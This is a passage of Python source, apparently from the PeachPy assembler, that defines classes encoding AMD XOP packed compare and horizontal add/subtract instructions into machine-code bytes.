elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xCD]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMD(Instruction):
"""Compare Packed Signed Doubleword Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMD(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMD, self).__init__("VPCOMD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMD\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xCE, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xCE]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMQ(Instruction):
"""Compare Packed Signed Quadword Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMQ(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMQ, self).__init__("VPCOMQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMQ\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xCF, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xCF]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMUB(Instruction):
"""Compare Packed Unsigned Byte Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMUB(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMUB, self).__init__("VPCOMUB", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMUB\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xEC, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xEC]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMUB " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMUW(Instruction):
"""Compare Packed Unsigned Word Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMUW(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMUW, self).__init__("VPCOMUW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMUW\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xED, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xED]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMUW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMUD(Instruction):
"""Compare Packed Unsigned Doubleword Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMUD(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMUD, self).__init__("VPCOMUD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMUD\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xEE, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xEE]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMUD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPCOMUQ(Instruction):
"""Compare Packed Unsigned Quadword Integers"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPCOMUQ(xmm, xmm, xmm/m128, imm8) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPCOMUQ, self).__init__("VPCOMUQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 4:
raise SyntaxError("Instruction \"VPCOMUQ\" requires 4 operands")
self.in_regs = (False, True, True, False)
self.out_regs = (True, False, False, False)
self.out_operands = (True, False, False, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_xmm(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE8 ^ (op[0].hcode << 7) ^ (op[2].hcode << 5), 0x78 ^ (op[1].hlcode << 3), 0xEF, 0xC0 | op[0].lcode << 3 | op[2].lcode, op[3] & 0xFF])))
self._cancelling_inputs = True
elif is_xmm(self.operands[0]) and is_xmm(self.operands[1]) and is_m128(self.operands[2]) and is_imm(self.operands[3]):
if not is_imm8(self.operands[3]):
raise ValueError("Argument #3 can not be encoded as imm8")
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1000, 0x00, op[0].hcode, op[2].address, op[1].hlcode) + bytearray([0xEF]) + modrm_sib_disp(op[0].lcode, op[2].address, sib, min_disp) + bytearray([op[3] & 0xFF])))
else:
raise SyntaxError("Invalid operand types: VPCOMUQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDBW(Instruction):
"""Packed Horizontal Add Signed Byte to Signed Word"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDBW(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDBW, self).__init__("VPHADDBW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDBW\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC1, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xC1]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDBW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDBD(Instruction):
"""Packed Horizontal Add Signed Byte to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDBD(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDBD, self).__init__("VPHADDBD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDBD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC2, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xC2]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDBD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDBQ(Instruction):
"""Packed Horizontal Add Signed Byte to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDBQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDBQ, self).__init__("VPHADDBQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDBQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC3, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xC3]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDBQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDWD(Instruction):
"""Packed Horizontal Add Signed Word to Signed Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDWD(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDWD, self).__init__("VPHADDWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDWD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC6, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xC6]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDWQ(Instruction):
"""Packed Horizontal Add Signed Word to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDWQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDWQ, self).__init__("VPHADDWQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDWQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xC7, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xC7]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDWQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDDQ(Instruction):
"""Packed Horizontal Add Signed Doubleword to Signed Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDDQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDDQ, self).__init__("VPHADDDQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDDQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xCB, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xCB]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDDQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDUBW(Instruction):
"""Packed Horizontal Add Unsigned Byte to Word"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDUBW(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDUBW, self).__init__("VPHADDUBW", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDUBW\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xD1, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xD1]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDUBW " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDUBD(Instruction):
"""Packed Horizontal Add Unsigned Byte to Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDUBD(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDUBD, self).__init__("VPHADDUBD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDUBD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xD2, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xD2]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDUBD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDUBQ(Instruction):
"""Packed Horizontal Add Unsigned Byte to Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDUBQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDUBQ, self).__init__("VPHADDUBQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDUBQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xD3, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xD3]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDUBQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDUWD(Instruction):
"""Packed Horizontal Add Unsigned Word to Doubleword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDUWD(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDUWD, self).__init__("VPHADDUWD", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDUWD\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xD6, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xD6]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDUWD " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDUWQ(Instruction):
"""Packed Horizontal Add Unsigned Word to Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDUWQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDUWQ, self).__init__("VPHADDUWQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDUWQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xD7, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xD7]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDUWQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHADDUDQ(Instruction):
"""Packed Horizontal Add Unsigned Doubleword to Quadword"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHADDUDQ(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
super(VPHADDUDQ, self).__init__("VPHADDUDQ", origin=origin, prototype=prototype)
self.operands = tuple(map(check_operand, args))
if len(self.operands) != 2:
raise SyntaxError("Instruction \"VPHADDUDQ\" requires 2 operands")
self.in_regs = (False, True)
self.out_regs = (True, False)
self.out_operands = (True, False)
self.avx_mode = True
self.isa_extensions = frozenset([peachpy.x86_64.isa.xop])
if is_xmm(self.operands[0]) and is_xmm(self.operands[1]):
self.encodings.append((0x00, lambda op: bytearray([0x8F, 0xE9 ^ (op[0].hcode << 7) ^ (op[1].hcode << 5), 0x78, 0xDB, 0xC0 | op[0].lcode << 3 | op[1].lcode])))
elif is_xmm(self.operands[0]) and is_m128(self.operands[1]):
self.encodings.append((0x10, lambda op, sib=False, min_disp=0: vex3(0x8F, 0b1001, 0x00, op[0].hcode, op[1].address) + bytearray([0xDB]) + modrm_sib_disp(op[0].lcode, op[1].address, sib, min_disp)))
else:
raise SyntaxError("Invalid operand types: VPHADDUDQ " + ", ".join(map(format_operand_type, self.operands)))
if peachpy.stream.active_stream is not None:
peachpy.stream.active_stream.add_instruction(self)
class VPHSUBBW(Instruction):
"""Packed Horizontal Subtract Signed Byte to Signed Word"""
def __init__(self, *args, **kwargs):
"""Supported forms:
* VPHSUBBW(xmm, xmm/m128) [XOP]
"""
origin = kwargs.get("origin")
prototype = kwargs.get("prototype")
if origin is None and prototype is None and peachpy.x86_64.options.get_debug_level() > 0:
origin = inspect.stack()
